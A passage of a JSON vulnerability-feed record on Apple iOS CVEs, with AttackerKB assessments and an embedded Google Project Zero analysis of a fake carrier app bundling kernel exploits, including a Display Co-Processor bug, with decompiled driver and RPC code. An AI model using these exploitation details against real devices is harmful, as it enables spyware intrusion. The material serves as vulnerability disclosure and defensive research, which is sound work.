"AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3837"], "modified": "2022-06-27T00:00:00", "id": "CISA-KEV-CVE-2020-3837", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-06-02T05:14:59", "description": "A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.2 and iPadOS 15.2. An application may be able to execute arbitrary code with kernel privileges.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-10T00:00:00", "type": "attackerkb", "title": "CVE-2021-30983", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30983"], "modified": "2022-01-10T00:00:00", "id": "AKB:12E53A37-65EB-4DDE-B8B5-4725EB276697", "href": "https://attackerkb.com/topics/pIW8qzO7iM/cve-2021-30983", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T17:16:08", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 15.0.2 and iPadOS 15.0.2, macOS Monterey 12.0.1, iOS 14.8.1 and iPadOS 14.8.1, tvOS 15.1, watchOS 8.1, macOS Big Sur 11.6.1. An application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited..\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at October 12, 2021 3:36pm UTC reported:\n\nPublic analysis of this vulnerability is available along with an initial PoC at <https://saaramar.github.io/IOMFB_integer_overflow_poc/>. The bug appears to be a bug in IOMobileFrameBuffer/AppleCLCD which was exploited in the wild. This attack surface is accessible from sandboxes which means that it was likely combined with another vulnerability such as a WebKit vulnerability in the wild to form a complete chain and gain kernel level access. However no information is available from what I can tell on what other vulnerability might have been used in the in the wild exploit chain.\n\nTo be more specific the patch appears to affect `IOMFB::TableCompensator::BilerpGainTable::new_from_data()` and some related `new_from_data` type functions that attempt to allocate a buffer that is used to store table content sent by the user. However most of the operands are fully controlled by the user and the calculation of the buffer size is done in 32 bit not in 64 bits so it is easy to overflow or underflow the buffer size calculation.\n\nSpecifically the vulnerable line within the `IOMFB::TableCompensator::BilerpGainTable::new_from_data()` function was `v_chunk = kalloc_ext((unsigned int)(12 * v15 * v14 + 4 * (v14 + a3)));` which appears to be casting a result to a unsigned 32 bit integer, when the variable `v14` is of size `int64`, `v15` is a `int` that is directly controlled by the attacker, and `a3` is another `int` also controlled by the attacker. By passing this line certain sizes an attacker could cause `kalloc_ext` to allocate a undersized buffer which can then be overflowed when data is later copied to it, resulting in a heap overflow in the iOS kernel, which if successfully exploited, would grant the attacker kernel level privileges.\n\nWhilst there is no full exploit out right now, the common opinion in the community is given the evidence of exploitation in the wild and the fact that an existing PoC already exists, it is likely just a matter of time and researcher\u2019s efforts before this vulnerability is made into a public working exploit by some developer. Definitely patch this one if your organization runs iOS devices or if jailbroken iPhones are a concern to your organization, though realize it will likely take some time before a fully working exploit is released to the public.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-24T00:00:00", "type": "attackerkb", "title": "CVE-2021-30883", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30883"], "modified": "2021-11-02T00:00:00", "id": "AKB:1FAC9EAB-6C14-40A6-94CA-04062F93D773", "href": "https://attackerkb.com/topics/8SEqIoFML2/cve-2021-30883", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T17:16:21", "description": "A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in iOS 13.6 and iPadOS 13.6, tvOS 13.4.8. An application may be able to execute arbitrary code with kernel privileges.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-10-16T00:00:00", "type": "attackerkb", "title": "CVE-2020-9907", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-9907"], "modified": "2020-10-21T00:00:00", "id": "AKB:75F81F32-FCA7-4ED1-BBC6-18A871505C58", "href": "https://attackerkb.com/topics/12BAQUR6EW/cve-2020-9907", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T17:16:19", "description": "A use after free issue was addressed with improved memory management. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1. A malicious application may be able to execute arbitrary code with system privileges.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "attackerkb", "title": "CVE-2019-8605", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-07-24T00:00:00", "id": "AKB:C3EBA984-247F-44E9-AD4B-260AFA76DD28", "href": "https://attackerkb.com/topics/nWO2TPsRH2/cve-2019-8605", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T17:16:21", "description": "A memory corruption issue was addressed with improved memory handling. This issue affected versions prior to iOS 12, macOS Mojave 10.14, tvOS 12, watchOS 5.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-04-03T00:00:00", "type": "attackerkb", "title": "CVE-2018-4344", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344"], "modified": "2020-07-24T00:00:00", "id": "AKB:6D505D1C-0B29-469A-A737-A0BE8B67AE7E", "href": "https://attackerkb.com/topics/wz2NCDnsTg/cve-2018-4344", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T15:01:07", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.3.1 and iPadOS 13.3.1, macOS Catalina 10.15.3, tvOS 13.3.1, watchOS 6.1.2. An application may be able to execute arbitrary code with kernel privileges.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-02-27T00:00:00", "type": "attackerkb", "title": "CVE-2020-3837", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3837"], "modified": "2020-07-24T00:00:00", "id": "AKB:364CE6DE-6616-4A9A-A8AD-39BDF6E3A648", "href": "https://attackerkb.com/topics/U8OcIjMgim/cve-2020-3837", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "googleprojectzero": [{"lastseen": "2023-05-28T02:00:37", "description": "Posted by Ian Beer, Google Project Zero\n\n \n\n\nNOTE: This issue was CVE-2021-30983 was fixed in iOS 15.2 in December 2021.\n\n \n\n\nTowards the end of 2021 Google's Threat Analysis Group (TAG) shared an iPhone app with me:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioBjlvs-GjJW9ZocxERk7cU6J-bBcWIjauCAzuI6QoMvdQENbSjF6elAZ0yUpLbHfTmOzfdKWBhB_FFR8X9UF1yMqN9XSMmJSUDZ_uVX_zctpmYMaD0G6V7bi68tdJ2C-e3eyM715_cTywzOWAgSbPyazbNtMv65p0lWewhacxCox_vrztKXdRZdjB/s1874/Screenshot%202022-06-22%20at%2016.52.33.png>)\n\nApp splash screen showing the Vodafone carrier logo and the text \"My Vodafone\" (not the legitimate Vodadone app)\n\n \n \n\n\nAlthough this looks like the real [My Vodafone carrier app](<https://apps.apple.com/gb/app/my-vodafone/id370901726>) available in the App Store, it didn't come from the App Store and is not the real application from Vodafone. TAG suspects that a target receives a link to this app in an SMS, after the attacker asks the carrier to disable the target's mobile data connection. The SMS claims that in order to restore mobile data connectivity, the target must install the carrier app and includes a link to download and install this fake app.\n\n \n\n\nThis sideloading works because the app is signed with an enterprise certificate, which can be purchased for $299 via the Apple [Enterprise developer program](<https://developer.apple.com/programs/enterprise/>). This program allows an eligible enterprise to obtain an Apple-signed embedded.mobileprovision file with the ProvisionsAllDevices key set. An app signed with the developer certificate embedded within that mobileprovision file can be sideloaded on any iPhone, bypassing Apple's App Store review process. While we understand that the Enterprise developer program is designed for companies to push \"trusted apps\" to their staff's iOS devices, in this case, it appears that it was being used to sideload this fake carrier app.\n\n \n\n\nIn collaboration with Project Zero, [TAG has published an additional post with more details around the targeting and the actor](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>). The rest of this blogpost is dedicated to the technical analysis of the app and the exploits contained therein.\n\n## App structure\n\nThe app is broken up into multiple frameworks. InjectionKit.framework is a generic privilege escalation exploit wrapper, exposing the primitives you'd expect (kernel memory access, entitlement injection, amfid bypasses) as well as higher-level operations like app installation, file creation and so on.\n\n \n\n\nAgent.framework is partially obfuscated but, as the name suggests, seems to be a basic agent able to find and exfiltrate interesting files from the device like the Whatsapp messages database.\n\n \n\n\nSix privilege escalation exploits are bundled with this app. Five are well-known, publicly available N-day exploits for older iOS versions. The sixth is not like those others at all.\n\n \n\n\nThis blog post is the story of the last exploit and the month-long journey to understand it.\n\n## Something's missing? Or am I missing something?\n\nAlthough all the exploits were different, five of them shared a common high-level structure. An initial phase where the kernel heap was manipulated to control object placement. Then the triggering of a kernel vulnerability followed by well-known steps to turn that into something useful, perhaps by disclosing kernel memory then building an arbitrary kernel memory write primitive.\n\n \n\n\nThe sixth exploit didn't have anything like that.\n\n \n\n\nPerhaps it could be triggering a kernel logic bug like Linuz Henze's [Fugu14](<https://github.com/LinusHenze/Fugu14>) exploit, or a very bad memory safety issue which gave fairly direct kernel memory access. But neither of those seemed very plausible either. It looked, quite simply, like an iOS kernel exploit from a decade ago, except one which was first quite carefully checking that it was only running on an iPhone 12 or 13.\n\n \n\n\nIt contained log messages like:\n\n \n\n\nprintf(\"Failed to prepare fake vtable: 0x%08x\", ret);\n\n \n\n\nwhich seemed to happen far earlier than the exploit could possibly have defeated mitigations like KASLR and PAC.\n\n \n\n\nShortly after that was this log message:\n\n \n\n\nprintf(\"Waiting for R/W primitives...\");\n\n \n\n\nWhy would you need to wait?\n\n \n\n\nThen shortly after that:\n\n \n\n\nprintf(\"Memory read/write and callfunc primitives ready!\");\n\n \n\n\nUp to that point the exploit made only four IOConnectCallMethod calls and there were no other obvious attempts at heap manipulation. But there was another log message which started to shed some light:\n\n \n\n\nprintf(\"Unexpected data read from DCP: 0x%08x\", v49);\n\n## DCP?\n\nIn October 2021 Adam Donenfeld tweeted this:\n\n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizH1ivW5VjBBB2oIDHbvRvevtn3SaYgaWlwf_F_bWSAb9b9kMrycHwATVj_tyHb22sjTc9jJmwQTc-ehvzmruznZtyWToUNiEfyif6nl3latUr3STT8P0YSL0MgxB8_t-CjNLdHITK0kpCcuYPJhFN7zuOX6s1DqOQVQxthrazNfK0ktsvn4Na1hl/s1988/Screenshot%202022-06-22%20at%2016.52.56.png>)\n\nDCP is the \"Display Co-Processor\" which ships with iPhone 12 and above and all M1 Macs.\n\n \n\n\nThere's little public information about the DCP; the most comprehensive comes from the [Asahi linux project](<https://asahilinux.org/>) which is porting linux to M1 Macs. In their [August 2021](<https://asahilinux.org/2021/08/progress-report-august-2021/>) and [September 2021](<https://asahilinux.org/2021/10/progress-report-september-2021/>) updates they discussed their DCP reverse-engineering efforts and the open-source DCP client written by [@alyssarzg](<https://twitter.com/alyssarzg>). Asahi describe the DCP like this:\n\n \n\n\nOn most mobile SoCs, the display controller is just a piece of hardware with simple registers. While this is true on the M1 as well, Apple decided to give it a twist. They added a coprocessor to the display engine (called DCP), which runs its own firmware (initialized by the system bootloader), and moved most of the display driver into the coprocessor. But instead of doing it at a natural driver boundary\u2026 they took half of their macOS C++ driver, moved it into the DCP, and created a remote procedure call interface so that each half can call methods on C++ objects on the other CPU! \n\n<https://asahilinux.org/2021/08/progress-report-august-2021/>\n\n \n\n\nThe Asahi linux project reverse-engineered the API to talk to the DCP but they are restricted to using Apple's DCP firmware (loaded by iBoot) - they can't use a custom DCP firmware. Consequently their documentation is limited to the DCP RPC API with few details of the DCP internals.\n\n## Setting the stage\n\nBefore diving into DCP internals it's worth stepping back a little. What even is a co-processor in a modern, highly integrated SoC (System-on-a-Chip) and what might the consequences of compromising it be?\n\n \n\n\nYears ago a co-processor would likely have been a physically separate chip. Nowadays a large number of these co-processors are integrated along with their interconnects directly onto a single die, even if they remain fairly independent systems. We can see in this M1 die shot from [Tech Insights](<https://www.techinsights.com/blog/two-new-apple-socs-two-market-events-apple-a14-and-m1>) that the CPU cores in the middle and right hand side take up only around 10% of the die:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtJjSN0qdOa1cKBG72s9uuwcVKU5evSg9CiIPtpbbFox0fGgW7XZQU1Jj4IezjIdHC23sJbnklT6acyTFiqB-0-qmcj35Gq-ZZyTHP0DcfFkBztA0DL2P3lhYy2n0k8wgzmzaYX8IMeKosr4uuWMXT-wplsuJQmfR4LDgFzWAUZARvx5rfWjWiusz/s1116/Screenshot%202022-06-22%20at%2016.53.12.png>)\n\nM1 die-shot from techinsights.com with possible location of DCP added\n\n<https://www.techinsights.com/blog/two-new-apple-socs-two-market-events-apple-a14-and-m1>\n\n \n\n\nCompanies like [SystemPlus](<https://www.systemplus.fr/>) perform [very thorough analysis of these dies](<https://www.systemplus.fr/wp-content/uploads/2020/12/SP20608-Apple-M1-System-on-Chip-Sample.pdf>). Based on their analysis the DCP is likely the rectangular region indicated on this M1 die. It takes up around the same amount of space as the four high-efficiency cores seen in the centre, though it seems to be mostly SRAM.\n\n \n\n\nWith just this low-resolution image it's not really possible to say much more about the functionality or capabilities of the DCP and what level of system access it has. To answer those questions we'll need to take a look at the firmware.\n\n## My kingdom for a .dSYM!\n\nThe first step is to get the DCP firmware image. iPhones (and now M1 macs) use .ipsw files for system images. An .ipsw is really just a .zip archive and the Firmware/ folder in the extracted .zip contains all the firmware for the co-processors, modems etc. The DCP firmware is this file:\n\n* * *\n\n \n\n\nFirmware/dcp/iphone13dcp.im4p\n\n \n\n\nThe im4p in this case is just a 25 byte header which we can discard:\n\n \n\n\n$ dd if=iphone13dcp.im4p of=iphone13dcp bs=25 skip=1\n\n$ file iphone13dcp\n\niphone13dcp: Mach-O 64-bit preload executable arm64\n\n \n\n\nIt's a Mach-O! Running nm -a to list all symbols shows that the binary has been fully stripped:\n\n \n\n\n$ nm -a iphone13dcp\n\niphone13dcp: no symbols\n\n \n\n\nFunction names make understanding code significantly easier. From looking at the handful of strings in the exploit some of them looked like they might be referencing symbols in a DCP firmware image (\"M3_CA_ResponseLUT read: 0x%08x\" for example) so I thought perhaps there might be a DCP firmware image where the symbols hadn't been stripped.\n\n \n\n\nSince the firmware images are distributed as .zip files and Apple's servers support range requests with a bit of python and the [partialzip](<https://github.com/marcograss/partialzip>) tool we can relatively easily and quickly get every beta and release DCP firmware. I checked over 300 distinct images; every single one was stripped.\n\n \n\n\nGuess we'll have to do this the hard way!\n\n## Day 1; Instruction 1\n\n$ otool -h raw_fw/iphone13dcp\n\nraw_fw/iphone13dcp:\n\nMach header\n\nmagic cputype cpusubtype caps filetype ncmds sizeofcmds flags\n\n0xfeedfacf 0x100000C 0 0x00 5 5 2240 0x00000001\n\n \n\n\nThat cputype is plain arm64 (ArmV8) without pointer authentication support. The binary is fairly large (3.7MB) and IDA's autoanalysis detects over 7000 functions.\n\n \n\n\nWith any brand new binary I usually start with a brief look through the function names and the strings. The binary is stripped so there are no function name symbols but there are plenty of C++ function names as strings:\n\n \n\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY8rBSaTDR2W5pSgk9ssaCqN8M8Nuhd5_x6FkNSqOI-jRDFVab_jrrkZlN1DS2FKf9zeAPPDFkE30kNCPpN3PES9RdvBLj4L6G78zq134bTQcR1VEe7J30tYPoqqZ82z1cPwUcvF2wzfoOEbDf3l_4ucxpuOZFC2NLyrMYV_luJ_5dysxanajqsi-N/s1830/Screenshot%202022-06-22%20at%2016.53.26.png>)\n\nThe cross-references to those strings look like this:\n\n \n\n\nlog(0x40000001LL,\n\n\"UPBlock_ALSS.cpp\",\n\n341,\n\n\"%s: capture buffer exhausted, aborting capture\\n\",\n\n\"void IOMFB::UPBlock_ALSS::send_data(uint64_t, uint32_t)\"); \n \n--- \n \n \n\n\nThis is almost certainly a logging macro which expands __FILE__, __LINE__ and __PRETTY_FUNCTION__. This allows us to start renaming functions and finding vtable pointers.\n\n## Object structure\n\nFrom the Asahi linux blog posts we know that the DCP is using an Apple-proprietary RTOS called RTKit for which there is very little public information. There are some strings in the binary with the exact version:\n\n \n\n\nADD X8, X8, #aLocalIphone13d@PAGEOFF ; \"local-iphone13dcp.release\"\n\nADD X9, X9, #aRtkitIos182640@PAGEOFF ; \"RTKit_iOS-1826.40.9.debug\"\n\n \n\n\nThe code appears to be predominantly C++. There appear to be multiple C++ object hierarchies; those involved with this vulnerability look a bit like IOKit C++ objects. Their common base class looks like this:\n\n \n\n\nstruct __cppobj RTKIT_RC_RTTI_BASE\n\n{\n\nRTKIT_RC_RTTI_BASE_vtbl *__vftable /*VFT*/;\n\nuint32_t refcnt;\n\nuint32_t typeid;\n\n}; \n \n--- \n \n \n\n\n(These structure definitions are in the format IDA uses for C++-like objects)\n\n \n\n\nThe RTKit base class has a vtable pointer, a reference count and a four-byte Run Time Type Information (RTTI) field - a 4-byte ASCII identifier like BLHA, WOLO, MMAP, UNPI, OSST, OSBO and so on. These identifiers look a bit cryptic but they're quite descriptive once you figure them out (and I'll describe the relevant ones as we encounter them.)\n\n \n\n\nThe base type has the following associated vtable:\n\n \n\n\nstruct /*VFT*/ RTKIT_RC_RTTI_BASE_vtbl\n\n{\n\nvoid (__cdecl *take_ref)(RTKIT_RC_RTTI_BASE *this);\n\nvoid (__cdecl *drop_ref)(RTKIT_RC_RTTI_BASE *this);\n\nvoid (__cdecl *take_global_type_ref)(RTKIT_RC_RTTI_BASE *this);\n\nvoid (__cdecl *drop_global_type_ref)(RTKIT_RC_RTTI_BASE *this);\n\nvoid (__cdecl *getClassName)(RTKIT_RC_RTTI_BASE *this);\n\nvoid (__cdecl *dtor_a)(RTKIT_RC_RTTI_BASE *this);\n\nvoid (__cdecl *unk)(RTKIT_RC_RTTI_BASE *this);\n\n}; \n \n--- \n \n## Exploit flow\n\nThe exploit running in the app starts by opening an IOKit user client for the AppleCLCD2 service. AppleCLCD seems to be the application processor of IOMobileFrameBuffer and AppleCLCD2 the DCP version.\n\n \n\n\nThe exploit only calls 3 different external method selectors on the AppleCLCD2 user client: 68, 78 and 79.\n\n \n\n\nThe one with the largest and most interesting-looking input is 78, which corresponds to this user client method in the kernel driver:\n\n \n\n\nIOReturn\n\nIOMobileFramebufferUserClient::s_set_block(\n\nIOMobileFramebufferUserClient *this,\n\nvoid *reference,\n\nIOExternalMethodArguments *args)\n\n{\n\nconst unsigned __int64 *extra_args;\n\nu8 *structureInput;\n\nstructureInput = args->structureInput;\n\nif ( structureInput && args->scalarInputCount >= 2 )\n\n{\n\nif ( args->scalarInputCount == 2 )\n\nextra_args = 0LL;\n\nelse\n\nextra_args = args->scalarInput + 2;\n\nreturn this->framebuffer_ap->set_block_dcp(\n\nthis->task,\n\nargs->scalarInput[0],\n\nargs->scalarInput[1],\n\nextra_args,\n\nargs->scalarInputCount - 2,\n\nstructureInput,\n\nargs->structureInputSize);\n\n} else {\n\nreturn 0xE00002C2;\n\n}\n\n} \n \n--- \n \n \n\n\nthis unpacks the IOConnectCallMethod arguments and passes them to:\n\n \n\n\nIOMobileFramebufferAP::set_block_dcp(\n\nIOMobileFramebufferAP *this,\n\ntask *task,\n\nint first_scalar_input,\n\nint second_scalar_input,\n\nconst unsigned __int64 *pointer_to_remaining_scalar_inputs,\n\nunsigned int scalar_input_count_minus_2,\n\nconst unsigned __int8 *struct_input,\n\nunsigned __int64 struct_input_size) \n \n--- \n \n \n\n\nThis method uses some autogenerated code to serialise the external method arguments into a buffer like this: \n\n \n\n\narg_struct:\n\n{\n\nstruct task* task\n\nu64 scalar_input_0\n\nu64 scalar_input_1\n\nu64[] remaining_scalar_inputs\n\nu64 cntExtraScalars\n\nu8[] structInput\n\nu64 CntStructInput\n\n} \n \n--- \n \n \n\n\nwhich is then passed to UnifiedPipeline2::rpc along with a 4-byte ASCII method identifier ('A435' here):\n\n \n\n\nUnifiedPipeline2::rpc(\n\n'A435',\n\narg_struct,\n\n0x105Cu,\n\n&retval_buf,\n\n4u); \n \n--- \n \n \n\n\nUnifiedPipeline2::rpc calls DCPLink::rpc which calls AppleDCPLinkService::rpc to perform one more level of serialisation which packs the method identifier and a \"stream identifier\" together with the arg_struct shown above.\n\n \n\n\nAppleDCPLinkService::rpc then calls rpc_caller_gated to allocate space in a shared memory buffer, copy the buffer into there then signal to the DCP that a message is available.\n\n \n\n\nEffectively the implementation of the IOMobileFramebuffer user client has been moved on to the DCP and the external method interface is now a proxy shim, via shared memory, to the actual implementations of the external methods which run on the DCP.\n\n## Exploit flow: the other side\n\nThe next challenge is to find where the messages start being processed on the DCP. Looking through the log strings there's a function which is clearly called \u200b\u200brpc_callee_gated \\- quite likely that's the receive side of the function rpc_caller_gated we saw earlier.\n\n \n\n\nrpc_callee_gated unpacks the wire format then has an enormous switch statement which maps all the 4-letter RPC codes to function pointers:\n\n \n\n\nswitch ( rpc_id )\n\n{\n\ncase 'A000':\n\ngoto LABEL_146;\n\ncase 'A001':\n\nhandler_fptr = callback_handler_A001;\n\nbreak;\n\ncase 'A002':\n\nhandler_fptr = callback_handler_A002;\n\nbreak;\n\ncase 'A003':\n\nhandler_fptr = callback_handler_A003;\n\nbreak;\n\ncase 'A004':\n\nhandler_fptr = callback_handler_A004;\n\nbreak;\n\ncase 'A005':\n\nhandler_fptr = callback_handler_A005;\n\nbreak; \n \n--- \n \n \n\n\nAt the the bottom of this switch statement is the invocation of the callback handler:\n\n \n\n\nret = handler_fptr(\n\nmeta,\n\nin_struct_ptr,\n\nin_struct_size,\n\nout_struct_ptr,\n\nout_struct_size); \n \n--- \n \n \n\n\nin_struct_ptr points to a copy of the serialised IOConnectCallMethod arguments we saw being serialized earlier on the application processor:\n\n \n\n\narg_struct:\n\n{\n\nstruct task* task\n\nu64 scalar_input_0\n\nu64 scalar_input_1\n\nu64[] remaining_scalar_inputs\n\nu32 cntExtraScalars\n\nu8[] structInput\n\nu64 cntStructInput\n\n} \n \n--- \n \n \n\n\nThe callback unpacks that buffer and calls a C++ virtual function:\n\n \n\n\nunsigned int\n\ncallback_handler_A435(\n\nu8* meta,\n\nvoid *args,\n\nuint32_t args_size,\n\nvoid *out_struct_ptr,\n\nuint32_t out_struct_size\n\n{\n\nint64 instance_id;\n\nuint64_t instance;\n\nint err;\n\nint retval;\n\nunsigned int result;\n\ninstance_id = meta->instance_id;\n\ninstance =\n\nglobal_instance_table[instance_id].IOMobileFramebufferType;\n\nif ( !instance ) {\n\nlog_fatal(\n\n\"IOMFB: %s: no instance for instance ID: %u\\n\",\n\n\"static T *IOMFB::InstanceTracker::instance\"\n\n\"(IOMFB::InstanceTracker::tracked_entity_t, uint32_t)\"\n\n\" [T = IOMobileFramebuffer]\",\n\ninstance_id);\n\n}\n\nerr = (instance-16)->vtable_0x378( // virtual 